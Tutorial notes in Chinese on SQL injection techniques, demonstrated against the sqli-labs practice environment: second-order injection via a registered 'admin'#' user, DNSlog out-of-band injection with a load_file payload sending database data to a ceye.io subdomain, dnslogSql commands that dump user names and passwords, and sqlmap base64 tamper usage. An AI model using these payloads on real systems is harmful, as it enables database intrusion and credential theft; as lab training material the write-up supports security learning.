#sql注入之二次注入
1.注入原理
二次注入可以理解為,構造惡意資料儲存在資料庫後,惡意資料被讀取並進入到了SQL查詢語句所導致的注入。惡意資料插入到資料庫時被處理的資料又被還原並儲存在資料庫中,當Web程式呼叫儲存在資料庫中的惡意資料並執行SQL查詢時,就發生了SQL二次注入。
二次注入可分為兩步:
第一步:插入惡意資料
進行資料庫插入資料時,對其中的特殊字元進行了轉義處理,在寫入資料庫的時候又保留了原來的資料。
第二步:引用惡意資料
開發者預設存入資料庫的資料都是安全的,在進行查詢時,直接從資料庫中取出惡意資料,沒有進行進一步的檢驗處理。
2.靶場演示
sqlilabs第24關
發現預設使用者為admin密碼未知
嘗試新建一個使用者admin'#進行二次注入
檢視資料庫,已經新增成功
登陸admin'#
可以修改密碼,我們檢視此頁面的網站原始碼,發現更新使用者密碼的sql語句如圖:
我們修改使用者admin'#的密碼的SQL語句為:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
註釋掉後面的語句,就變成了修改使用者admin的密碼了,而admin'#使用者密碼沒有改變。
#DNSlog帶外注入
1.帶外注入原理
帶外注入是為了解決一些注入沒有回顯,也不能進行時間盲注的情況。也就是利用其他的協議或渠道,如http請求、DNS解析、SMB服務等京資料帶出。
2.靶場演示
首先在http://ceye.io/註冊一個賬號,記錄以下資訊
使用sqlilabs第9關進行演示
不會顯示任何資訊:
構造pylaod:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 and if ((select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\abc'))),1,0)--+
在平臺上檢視返回的值:
3.工具使用
工具地址 :https://github.com/adooo/dnslogsqlinj
需要使用python27環境
首先需要修改配置檔案:
使用語句如下:
獲取資料庫名: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs 獲取資料庫security下的表名: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables 獲取users表的列名: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns 獲取uses表中的資料: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump
#sql注入加解密
小夥伴們可能會碰到有的url中有base64編碼或者其他編碼,在此類注入時我們需要先夠造注入語句再進行轉碼,最後得到的編碼再注入。
sqlmap中有相應的外掛,可使用語句:
sqlmap -u http://xxxx.com/index.php?id=MQ== --tamper base64encode.py –dbs
或者進行中轉註入:
大體意思就是將傳參用base64編碼,再與url進行拼接。在開啟htt服務用sqlmap或其他工具進行測試這個檔案即可.
首先構造檔案:
大體意思就是將傳參用base64編碼,再與url進行拼接。
其中base64_decode()函式是將傳入的引數進行base64編碼。
file_get_contents()函式是用來將檔案的內容讀入到一個字串中的首選方法。
例如sqlmap:
python sqlmap.py -u "http://127.0.0.1/test.php?x=" -v 3